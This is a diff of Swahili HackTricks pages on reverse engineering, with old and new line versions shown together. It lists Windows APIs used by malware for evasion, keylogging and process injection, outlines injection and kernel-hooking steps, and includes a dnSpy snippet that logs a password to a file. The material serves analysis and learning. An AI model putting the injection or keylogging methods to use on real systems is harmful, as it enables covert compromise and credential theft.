| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
| Usajili | Faili | Huduma |
| ----------------- | -------------- | ---------------------------- |
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() | |
### Ufichaji
@ -58,27 +58,27 @@ Njia nyingine za kusaidia HackTricks:
| CryptDecrypt() |
| CryptReleaseContext() |
### Kuzuia Uchambuzi/VM
### Kupinga Uchambuzi/VM
| Jina la Kazi | Maelekezo ya Mkusanyiko |
| -------------------------------------------------------- | ----------------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Angalia ikiwa mchakato unakimbia] | |
| CreateFileW/A \[Angalia ikiwa faili ipo] | |
| Jina la Kazi | Maagizo ya Mkusanyiko |
| --------------------------------------------------------- | --------------------- |
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Angalia ikiwa mchakato unakimbia] | |
| CreateFileW/A \[Angalia ikiwa faili ipo] | |
### Ufichaji
### Kujificha
| Jina | |
| ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | Alloc kumbukumbu (pakiti) |
| VirtualAlloc | Alloc kumbukumbu (pakiti) |
| VirtualProtect | Badilisha ruhusa ya kumbukumbu (pakiti inayotoa ruhusa ya utekelezaji kwa sehemu) |
| ReadProcessMemory | Uingizaji kwenye michakato ya nje |
| WriteProcessMemoryA/W | Uingizaji kwenye michakato ya nje |
| ReadProcessMemory | Uingizaji kwenye michakato ya nje |
| WriteProcessMemoryA/W | Uingizaji kwenye michakato ya nje |
| NtWriteVirtualMemory | |
| CreateRemoteThread | Uingizaji wa DLL/Mchakato... |
| CreateRemoteThread | Uingizaji wa DLL/Mchakato... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W | |
@ -86,7 +86,7 @@ Njia nyingine za kusaidia HackTricks:
### Utekelezaji
| Jina la Kazi |
| -------------- |
| --------------- |
| CreateProcessA/W |
| ShellExecute |
| WinExec |
@ -95,8 +95,8 @@ Njia nyingine za kusaidia HackTricks:
### Mbalimbali
* GetAsyncKeyState() -- Kurekodi funguo
* SetWindowsHookEx -- Kurekodi funguo
* GetAsyncKeyState() -- Udukuzi wa funguo
* SetWindowsHookEx -- Udukuzi wa funguo
* GetForeGroundWindow -- Pata jina la dirisha linaloendesha (au tovuti kutoka kwa kivinjari)
* LoadLibrary() -- Ingiza maktaba
* GetProcAddress() -- Ingiza maktaba
@ -119,7 +119,7 @@ Tekeleza DLL isiyojulikana ndani ya mchakato mwingine
Vipengele vingine vya kutumia: NTCreateThreadEx, RtlCreateUserThread
### Uingizaji wa DLL wa Kufikiria
### Uingizaji wa DLL wa Kielekezi
Pakia DLL hasidi bila kuita simu za kawaida za API za Windows.\
DLL inaorodheshwa ndani ya mchakato, itatatua anwani za uingizaji, kurekebisha mahali na kuita kazi ya DllMain.
@ -132,7 +132,7 @@ Pata mnyororo kutoka kwa mchakato na ufanye upakie DLL hasidi
2. Fungua mnyororo: OpenThread
3. Sitishe mnyororo: SuspendThread
4. Andika njia ya DLL hasidi ndani ya mchakato wa mwathiriwa: VirtualAllocEx, WriteProcessMemory
5. Rejesha mnyororo unao pakia maktaba: ResumeThread
5. Rudisha mnyororo wa kuanzisha maktaba: ResumeThread
### Uingizaji wa PE
@ -150,22 +150,11 @@ Programu hasidi itafuta msimbo halali kutoka kumbukumbu ya mchakato na kupakia f
## Kufunga
* **SSDT** (**System Service Descriptor Table**) inaelekeza kwa kazi za msingi za kernel (ntoskrnl.exe) au dereva wa GUI (win32k.sys) ili michakato ya mtumiaji iweze kuita kazi hizi.
* Rootkit inaweza kubadilisha pointer hizi kuwa anwani ambazo anadhibiti
* **IRP** (**I/O Request Packets**) hupitisha vipande vya data kutoka kwa sehemu moja hadi nyingine. Karibu kila kitu katika kernel hutumia IRPs na kila kifaa kina kichupo chake cha kazi ambacho kinaweza kufungwa: DKOM (Udanganyifu wa Moja kwa Moja wa Vitu vya Kernel)
* Rootkit inaweza kurekebisha alama hizi kwa anwani anazodhibiti
* **IRP** (**I/O Request Packets**) hupitisha vipande vya data kutoka kwa sehemu moja hadi nyingine. Karibu kila kitu katika kernel hutumia IRPs na kila kifaa kina kichupo chake cha kazi ambacho kinaweza kufungwa: DKOM (Udukuzi wa Moja kwa Moja wa Vitu vya Kernel)
* **IAT** (**Import Address Table**) ni muhimu kwa kutatua mahitaji. Inawezekana kufunga kichupo hiki ili kuteka kificho kitakachoitwa.
* **EAT** (**Export Address Table**) Kufunga. Kufunga hii inaweza kufanywa kutoka kwa **userland**. lengo ni kufunga kazi zilizoagizwa na DLLs.
* **Kufunga ya Ndani**: Aina hii ni ngumu kufikia. Hii inahusisha kubadilisha msimbo wa kazi yenyewe. Labda kwa kuweka kuruka mwanzoni mwa hii.
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **EAT** (**Export Address Table**) Kufunga. Kufunga hii inaweza kufanywa kutoka kwa **userland**. Lengo ni kufunga kazi zilizoagizwa na DLLs.
* **Kufunga ya Ndani**: Aina hii ni ngumu kufikia. Hii inahusisha kurekebisha msimbo wa kazi yenyewe. Labda kwa kuweka kuruka mwanzoni mwa hii.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -1,4 +1,4 @@
# Zana za Kugeuza & Mbinu za Msingi
# Zana za Kugeuza na Mbinu za Msingi
<details>
@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -28,12 +28,12 @@ Programu:
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
## Msambazaji wa Wasm / Msambazaji wa Wat
## Msanidi wa Wasm / Msanidi wa Wat
Mtandaoni:
* Tumia [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) kwa **kugeuza** kutoka kwa wasm (binary) hadi wat (maandishi wazi)
* Tumia [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kwa **kusambaza** kutoka kwa wat hadi wasm
* Tumia [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) kwa **kuunda** kutoka kwa wat hadi wasm
* unaweza pia kujaribu kutumia [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) kwa kugeuza
Programu:
@ -41,33 +41,33 @@ Programu:
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
## Msambazaji wa .NET
## Msanidi wa .NET
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek ni msambazaji ambao **hugawanya na kuchunguza muundo wa multiple**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **programu za kutekelezwa** (.exe). Mara baada ya kugawanywa, mkusanyiko unaweza kuokolewa kama mradi wa Visual Studio (.csproj).
dotPeek ni msanidi wa **kugeuza** ambao **hufanya kugeuza na kuchunguza muundo mbalimbali**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **programu za kutekelezwa** (.exe). Mara baada ya kugeuzwa, mkusanyiko unaweza kuokolewa kama mradi wa Visual Studio (.csproj).
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurejeshwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi, dotPeek hutoa urambazaji wa manufaa kote kwenye msimbo uliogawanywa, ikifanya iwe moja ya zana kamili kwa **uchambuzi wa algorithm wa Xamarin.**
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurejeshwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi ya hayo, dotPeek hutoa urambazaji wa manufaa kote kwenye msimbo uliogeuzwa, ikifanya iwe moja ya zana kamili kwa **uchambuzi wa algorithm wa Xamarin.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
Kwa mfano wa kuongeza wa kina na API ambayo inapanua zana ili kufaa mahitaji yako halisi, .NET reflector hupunguza muda na kufanya maendeleo kuwa rahisi. Hebu tuangalie huduma nyingi za uhandisi wa nyuma ambazo zana hii hutoa:
Kwa mfano wa kuongeza wa kina na API inayozidisha zana kulingana na mahitaji yako halisi, .NET reflector hupunguza muda na kufanya maendeleo kuwa rahisi. Hebu tuangalie huduma nyingi za uhandisi wa kurudi ambazo zana hii hutoa:
* Hutoa ufahamu jinsi data inavyopita kupitia maktaba au sehemu
* Hutoa ufahamu katika utekelezaji na matumizi ya lugha na fremu za .NET
* Hutoa ufahamu wa utekelezaji na matumizi ya lugha na fremu za .NET
* Hupata utendaji usioelezwa na usiofunuliwa ili kupata zaidi kutoka kwa APIs na teknolojia zilizotumiwa.
* Hupata tegemezi na makusanyo tofauti
* Inagundua mahali sahihi ya makosa katika msimbo wako, vipengele vya tatu, na maktaba.
* Hufanya uchunguzi katika chanzo cha msimbo wote wa .NET unaoendelea kufanya kazi nao.
* Hufanya uchunguzi wa kina wa chanzo cha msimbo wote wa .NET unaoendelea.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[ILSpy plugin kwa Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo kwenye OS yoyote (unaweza kuweka moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza **Extensions** na **tafuta ILSpy**).\
Ikiwa unahitaji **kugeuza**, **kurekebisha** na **kusambaza** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linalotunzwa kikamilifu la hiyo, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza Kulia -> Badilisha Mbinu** kubadilisha kitu ndani ya kazi).
Ikiwa unahitaji **kugeuza**, **kurekebisha** na **kuunda tena** unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linalotunzwa kwa sasa la [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza Kulia -> Badilisha Mbinu** kubadilisha kitu ndani ya kazi).
### Uchakataji wa DNSpy
Ili kufanya **DNSpy iwekeze baadhi ya habari kwenye faili**, unaweza kutumia kificho hiki:
Ili kufanya **DNSpy iloge baadhi ya habari kwenye faili**, unaweza kutumia kificho hiki:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -75,9 +75,9 @@ File.AppendAllText(path, "Password: " + password + "\n");
```
### Kurekebisha DNSpy
Ili kurekebisha msimbo kwa kutumia DNSpy unahitaji:
Ili kurekebisha nambari kwa kutumia DNSpy unahitaji:
Kwanza, badilisha **Vipengele vya Utoaji** vinavyohusiana na **urekebishaji**:
Kwanza, badilisha **Vipengele vya Mkusanyiko** vinavyohusiana na **kurekebisha**:
![](<../../.gitbook/assets/image (278).png>)
```aspnet
@ -100,7 +100,7 @@ Kisha hifadhi faili mpya kupitia _**File >> Save module...**_:
Hii ni muhimu kwa sababu ikiwa hutafanya hivyo, wakati wa **runtime** maboresho kadhaa yatafanywa kwenye nambari na inaweza kuwa kwamba wakati wa kutatua hitilafu **break-point is never hit** au baadhi ya **variables don't exist**.
Kisha, ikiwa programu yako ya .NET inaendeshwa na **IIS** unaweza kuirekebisha kwa:
Kisha, ikiwa programu yako ya .NET inaendeshwa na **IIS** unaweza ku**restart** kwa:
```
iisreset /noforce
```
@ -112,7 +112,7 @@ Kisha chagua **w3wp.exe** kuambatisha kwenye **seva ya IIS** na bonyeza **ambata
![](<../../.gitbook/assets/image (281).png>)
Sasa tukiwa tunarekebisha mchakato, ni wakati wa kuusimamisha na kupakia moduli zote. Kwanza bonyeza _Kurekebisha >> Simamisha Yote_ kisha bonyeza _**Kurekebisha >> Windows >> Moduli**_:
Sasa tukiwa tunarekebisha mchakato, ni wakati wa kuusitisha na kupakia moduli zote. Kwanza bonyeza _Kurekebisha >> Sitisha Yote_ kisha bonyeza _**Kurekebisha >> Windows >> Moduli**_:
![](<../../.gitbook/assets/image (286).png>)
@ -137,7 +137,7 @@ Bonyeza kulia moduli yoyote katika **Mtafuta wa Mkusanyiko** na bonyeza **Panga
* **Pakia rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
* Chagua kurekebisha **Windbg**
* Chagua "**Sitishe wakati wa kupakia/kusitisha maktaba**"
* Chagua "**Sitisha kwenye upakiaji/utoaji wa maktaba**"
![](<../../.gitbook/assets/image (135).png>)
@ -145,7 +145,7 @@ Bonyeza kulia moduli yoyote katika **Mtafuta wa Mkusanyiko** na bonyeza **Panga
![](<../../.gitbook/assets/image (136).png>)
Kisha, unapoanza kurekebisha **utekelezaji utasimamishwa wakati kila DLL inapopakiwa**, kisha, wakati rundll32 inapopakia DLL yako utekelezaji utasimamishwa.
Kisha, unapoanza kurekebisha **utekelezaji utasimamishwa kila DLL inapopakiwa**, basi, wakati rundll32 inapopakia DLL yako utekelezaji utasimamishwa.
Lakini, unawezaje kufikia namna ya kificho cha DLL iliyopakiwa? Kutumia njia hii, sijui jinsi.
@ -154,13 +154,13 @@ Lakini, unawezaje kufikia namna ya kificho cha DLL iliyopakiwa? Kutumia njia hii
* **Pakia rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
* **Badilisha Mstari wa Amri** ( _Faili --> Badilisha Mstari wa Amri_ ) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* Badilisha _Chaguo --> Vipimo_ na chagua "**Kuingia kwa DLL**".
* Kisha **anza utekelezaji**, mchunguzi atasimama kwa kila dll kuu, kwa wakati fulani utasimama katika kuingia kwa dll yako. Kutoka hapo, tafuta tu sehemu unayotaka kuweka kiungo cha kusitisha.
* Kisha **anza utekelezaji**, kifanyi cha kurekebisha kitasimama kwenye kila kifurushi cha dll, kwa wakati fulani utasimama kwenye kuingia kwa dll yako. Kutoka hapo, tafuta tu sehemu ambapo unataka kuweka kiungo cha kusitisha.
Tambua kwamba unapokuwa umesimamishwa kwa sababu yoyote katika win64dbg unaweza kuona **kificho unachotazama** katika **juu ya dirisha la win64dbg**:
![](<../../.gitbook/assets/image (137).png>)
Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa katika dll unayotaka kurekebisha.
Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa kwenye dll unayotaka kurekebisha.
## Programu za GUI / Michezo ya Video
@ -179,10 +179,10 @@ Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa katika dll
### Kurekebisha shellcode na blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilipangiwa na itasimamisha utekelezaji.\
Kisha, unahitaji **kuambatanisha mchunguzi** (Ida au x64dbg) kwa mchakato na weka **kiungo cha kusitisha kwenye anwani ya kumbukumbu iliyotajwa** na **endelea** utekelezaji. Hivi ndivyo utakavyokuwa unarekebisha shellcode.
Kisha, unahitaji **kuambatanisha kifanyi cha kurekebisha** (Ida au x64dbg) kwenye mchakato na weka **kiungo cha kusitisha kwenye anwani ya kumbukumbu iliyotajwa** na **endelea** utekelezaji. Hivi ndivyo utakavyokuwa unarekebisha shellcode.
Ukurasa wa kutolewa kwenye github una zip zinazojumuisha kutolewa kwa kisasa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kifuatacho. Ili kulipakua tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike kificho na ulijenge**.
Ukurasa wa kutolewa kwenye github una zip zinazojumuisha kutolewa kwa kutekelezwa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kifuatacho. Ili kulipachika tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike kificho na ujenge**.
{% content-ref url="blobrunner.md" %}
[blobrunner.md](blobrunner.md)
@ -190,13 +190,13 @@ Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kifuata
### Kurekebisha shellcode na jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)ni sawa sana na blobrunner. Ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, na anza **mzunguko wa milele**. Kisha unahitaji **kuambatanisha mchunguzi** kwa mchakato, **anza kucheza subiri sekunde 2-5 na bonyeza kusimamisha** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye maagizo ijayo ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)ni sawa sana na blobrunner. Ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, na anza **mzunguko wa milele**. Kisha unahitaji **kuambatanisha kifanyi cha kurekebisha** kwenye mchakato, **anza kucheza subiri sekunde 2-5 na bonyeza kusimamisha** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye maagizo ijayo ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
![](<../../.gitbook/assets/image (397).png>)
Unaweza kupakua toleo lililobadilishwa la [jmp2it kwenye ukurasa wa kutolewa](https://github.com/adamkramer/jmp2it/releases/).
### Kurekebisha shellcode kwa kutumia Cutter
### Kurekebisha shellcode kutumia Cutter
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) ni GUI ya radare. Kutumia cutter unaweza kuiga shellcode na kuichunguza kwa njia ya kudumu.
@ -210,14 +210,14 @@ Ili kuanza uigaji katika mahali unapotaka, weka bp hapo na kwa mujibu wa cutter
![](<../../.gitbook/assets/image (401).png>)
Unaweza kuona stakiti kwa mfano ndani ya dumpu ya hex:
Unaweza kuona stakiti kwa mfano ndani ya kumbukumbu ya hex:
![](<../../.gitbook/assets/image (402).png>)
### Kufuta shellcode na kupata kazi zilizotekelezwa
Unapaswa kujaribu [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Itakwambia mambo kama **kazi zipi** shellcode inatumia na ikiwa shellcode inajichakaza yenyewe kwenye kumbukumbu.
Itakwambia mambo kama **kazi zipi** shellcode inatumia na ikiwa shellcode inajichimbua yenyewe kwenye kumbukumbu.
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -230,7 +230,7 @@ scDbg pia ina launcher ya kielelezo ambapo unaweza kuchagua chaguo unalotaka na
![](<../../.gitbook/assets/image (398).png>)
Chaguo la **Unda Dump** litadump shellcode ya mwisho ikiwa kuna mabadiliko yoyote yanayofanywa kwa shellcode kwa njia ya kumbukumbu (inayoweza kutumika kupakua shellcode iliyofanywa). **Kianzio cha kuanza** kinaweza kuwa muhimu kuanza shellcode kwenye kianzio maalum. Chaguo la **Kianzio cha Kufuatilia** ni muhimu kufuatilia shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninaona chaguo lolote lililoelezwa hapo awali ni bora kwa suala hili kwani utaweza kutumia Ida au x64dbg).
Chaguo la **Unda Dump** litadump shellcode ya mwisho ikiwa kuna mabadiliko yoyote yanayofanywa kwa shellcode kwa njia ya kumbukumbu (inayoweza kutumiwa kupakua shellcode iliyofanyiwa decoding). **Kianzio cha kuanza** kinaweza kuwa na manufaa kuanza shellcode kwenye kianzio maalum. Chaguo la **Kianzio cha Kufuatilia** ni muhimu kufuatilia shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninaona chaguo lolote lililoelezwa hapo awali ni bora kwa suala hili kwani utaweza kutumia Ida au x64dbg).
### Kufasiri kwa Kutumia CyberChef
@ -243,23 +243,23 @@ Obfuscator huyu **hubadilisha maagizo yote kwa `mov`** (ndio, kweli ni nzuri san
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
Ikiwa una bahati [demovfuscator](https://github.com/kirschju/demovfuscator) itaondoa ufusaji wa binary. Ina tegemezi kadhaa
Ikiwa una bahati [demovfuscator](https://github.com/kirschju/demovfuscator) itadefuscate binary. Ina tegemezi kadhaa
```
apt-get install libcapstone-dev
apt-get install libz3-dev
```
Na [sakinisha keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Ikiwa unacheza **CTF, njia hii ya kupata bendera** inaweza kuwa muhimu sana: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Ikiwa unacheza **CTF, njia hii ya kupata bendera** inaweza kuwa na manufaa sana: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
Ili kupata **sehemu ya kuingia**, tafuta kazi kwa `::main` kama hivi:
Ili kupata **sehemu ya kuingia** tafuta kazi kwa `::main` kama hivi:
![](<../../.gitbook/assets/image (612).png>)
Katika kesi hii binary ilikuwa inaitwa authenticator, hivyo ni wazi kuwa hii ni kazi kuu inayovutia.\
Ukiwa na **jina** la **kazi** zinazoitwa, tafuta kuhusu hizo kwenye **Intaneti** ili kujifunza kuhusu **matokeo** yao na **matokeo** yao.
Ukiwa na **jina** la **kazi** zinazoitwa, tafuta kuhusu hizo kwenye **Mtandao** ili kujifunza kuhusu **matokeo** yao na **matokeo** yao.
## **Delphi**
@ -269,9 +269,9 @@ Ikiwa unahitaji kubadilisha binary ya Delphi ningependekeza utumie programu-jali
Bonyeza **ATL+f7** (ingiza programu-jalizi ya python kwenye IDA) na chagua programu-jalizi ya python.
Programu-jalizi hii itatekeleza binary na kutatua majina ya kazi kwa njia ya kudumu mwanzoni mwa uchunguzi. Baada ya kuanza uchunguzi bonyeza tena kitufe cha Kuanza (kijani au f9) na kuvunja itagonga mwanzoni mwa nambari halisi.
Programu-jalizi hii itatekeleza binary na kutatua majina ya kazi kwa njia ya moja kwa moja mwanzoni mwa uchunguzi. Baada ya kuanza uchunguzi bonyeza tena kitufe cha Kuanza (kijani au f9) na kuvunja itagonga mwanzoni mwa kanuni halisi.
Pia ni ya kuvutia sana kwa sababu ikiwa bonyeza kitufe katika programu ya kielelezo cha picha, mchunguzi utasimama kwenye kazi inayotekelezwa na kitufe hicho.
Pia ni ya kuvutia sana kwa sababu ikiwa bonyeza kitufe katika programu ya kielelezo, mchunguzi utasimama kwenye kazi inayotekelezwa na kitufe hicho.
## Golang
@ -291,9 +291,9 @@ Kwenye ukurasa huu unaweza kupata jinsi ya kupata nambari ya python kutoka kwa b
## GBA - Game Body Advance
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti kwa **kuiga** na **kutatua hitilafu**:
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti kwa **kuiga** na **kuchunguza**:
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la kutatua hitilafu_) - Ina mchunguzi na kiolesura
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la kuchunguza_) - Ina mchunguzi na kiolesura
* [**mgba** ](https://mgba.io)- Ina mchunguzi wa CLI
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Programu-jalizi ya Ghidra
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Programu-jalizi ya Ghidra
@ -319,7 +319,7 @@ Kwa hivyo, katika aina hii ya programu, sehemu ya kuvutia itakuwa **jinsi progra
![](<../../.gitbook/assets/image (579).png>)
Katika picha iliyotangulia unaweza kuona kwamba kazi inaitwa kutoka **FUN\_080015a8** (anwani: _0x080015fa_ na _0x080017ac_).
Katika picha iliyopita unaweza kuona kwamba kazi hiyo inaitwa kutoka **FUN\_080015a8** (anwani: _0x080015fa_ na _0x080017ac_).
Katika kazi hiyo, baada ya operesheni za awali (bila umuhimu wowote):
```c
@ -342,7 +342,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
FUN_08000354(&DAT_030000dc,0x3c);
uVar4 = DAT_030004d8;
```
Imepatikana hii nambari:
Imepatikana hii code:
```c
do {
DAT_030004da = uVar4; //This is the last key pressed
@ -354,7 +354,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
Ikiwa **`uVar4`** iko kwenye **Keys za mwisho** na sio ufunguo wa sasa, hii inaitwa kuachilia kitufe (ufunguo wa sasa umehifadhiwa katika **`uVar1`**).
Ikiwa **`uVar4`** iko kwenye **funguo za mwisho** na sio funguo ya sasa, hii inaitwa kuachilia kitufe (funguo ya sasa imehifadhiwa katika **`uVar1`**).
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -390,7 +390,7 @@ Katika msimbo uliopita unaweza kuona kwamba tunalinganisha **uVar1** (mahali amb
* Katika kesi nyingine yoyote, baadhi ya cont (`DAT_030000d4`) inachunguzwa. Ni cont kwa sababu inaongeza 1 mara tu baada ya kuingia katika msimbo.\
Ikiwa ni chini ya 8 kitu kinachohusisha **kuongeza** thamani kwa \*\*`DAT_030000d8` \*\* kinachofanywa (kimsingi inaongeza thamani za vitufe vilivyobonyezwa katika hii variable muda mrefu kama cont iko chini ya 8).
Hivyo, katika changamoto hii, kwa kujua thamani za vitufe, ulihitaji **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao matokeo ya kuongeza ni 0xf3.**
Kwa hivyo, katika changamoto hii, kwa kujua thamani za vitufe, ulihitaji **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao matokeo ya kuongeza ni 0xf3.**
**Kumbukumbu kwa mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
@ -405,7 +405,7 @@ Hivyo, katika changamoto hii, kwa kujua thamani za vitufe, ulihitaji **kubonyeza
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
